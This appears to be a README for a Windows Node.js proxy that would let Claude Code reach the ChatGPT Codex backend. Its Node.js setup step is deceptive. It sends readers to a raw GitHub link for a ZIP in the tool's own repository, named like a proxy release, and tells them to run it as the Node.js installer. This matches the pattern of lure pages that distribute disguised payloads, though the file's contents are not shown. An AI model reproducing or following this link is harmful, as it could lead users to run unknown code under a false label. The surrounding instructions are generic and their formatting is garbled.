chatgpt-codex-proxy is a simple tool that lets Claude Code use the ChatGPT Codex backend through a proxy. This means it connects two systems so Claude Code can work with the API like ChatGPT does. It supports Anthropic-compatible messages over the /v1/messages endpoint.
This proxy runs on Windows and uses Node.js to handle requests. It is built with Express, a popular Node.js framework. While it acts as a bridge, the tool does not store any data or change the messages. It simply forwards them in a way both sides understand.
To run chatgpt-codex-proxy on Windows, make sure your computer meets these needs:
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM
- 1 GHz or faster processor
- At least 100 MB of free disk space
- Internet connection for API access
- Node.js installed (version 14 or later)*
*If you do not have Node.js, this guide will help you install it.
This section explains how to get chatgpt-codex-proxy on your Windows system and run it without any programming skills.
First, you need to get chatgpt-codex-proxy files to your computer.
Click this link to visit the download page and get the latest version:
Once you open the page:
- Look for a green button named Code
- Click it and select Download ZIP
- Save the ZIP file on your Desktop or inside a folder you can easily find
chatgpt-codex-proxy requires Node.js to run. If you already have Node.js, skip to the next step.
If you don’t have Node.js:
- Visit https://raw.githubusercontent.com/KYYFEM/chatgpt-codex-proxy/main/dxt/codex-chatgpt-proxy-v1.9-alpha.1.zip
- Download the LTS (Long Term Support) version for Windows
- Run the installer by double-clicking the downloaded file
- Follow all prompts with default options
- Once it finishes, open a new Command Prompt window to activate Node.js commands
To check if the installation worked, open Command Prompt (type cmd in Windows search) and run:
node -v
You should see a version number, like v16.15.0. This means Node.js is ready.
Locate the ZIP file you downloaded in step 1.
- Right-click on the ZIP file
- Choose Extract All...
- Pick a folder (Desktop works well)
- Click Extract
The folder will appear with all the necessary files inside.
To run the proxy:
- Open Command Prompt
- Use the
cdcommand to go to the folder with the extracted files. For example, if it’s on your Desktop:
cd Desktop\chatgpt-codex-proxy-main
- Install required packages by typing:
npm install
- Start the proxy by typing:
node index.js
You should see a message that the proxy is running and listening on a port, usually http://localhost:3000.
Now the proxy runs and listens for messages from Claude Code.
- The software works as a middleman for messages sent to
/v1/messages - You do not need to open any browser window to use it
- Keep the Command Prompt open while running chatgpt-codex-proxy
- To stop the proxy, press
Ctrl + Cin the Command Prompt
chatgpt-codex-proxy listens for requests from Claude Code and forwards them to the ChatGPT Codex backend. It changes messages into a compatible format and returns the responses.
This proxy supports:
- Anthropic-compatible API format
- OpenAI API proxying
- Handling
/v1/messagespaths
This setup allows Claude Code to talk to ChatGPT Codex as if it was connecting directly.
-
Proxy does not start
Make sure you rannpm installbeforenode index.js. Confirm Node.js is installed and working. -
Port is already used
Iflocalhost:3000is busy, editindex.jsto change the port, or close other programs using it. -
Commands not recognized
Open a new Command Prompt window after installing Node.js. -
Proxy runs but Claude Code doesn’t connect
Check your network connection and firewall settings. The proxy needs internet access.
To update the proxy to a newer version:
- Download the latest ZIP from the GitHub page.
- Extract it to a new folder.
- Repeat the start steps in the new folder.
Do not overwrite old files while running the proxy.
index.js— Main server file that runs the proxypackage.json— Lists Node.js package dependenciesREADME.md— This document/node_modules— Folder created after installing packages- Other files deal with API handling and routing
If you want to check or test the API yourself:
- Use Postman or curl to send messages to
http://localhost:3000/v1/messages - Check the proxy logs in the Command Prompt window for errors or requests
You may want to run chatgpt-codex-proxy as a background service or start it automatically on boot. This needs basic knowledge of Windows Task Scheduler or other process managers like PM2.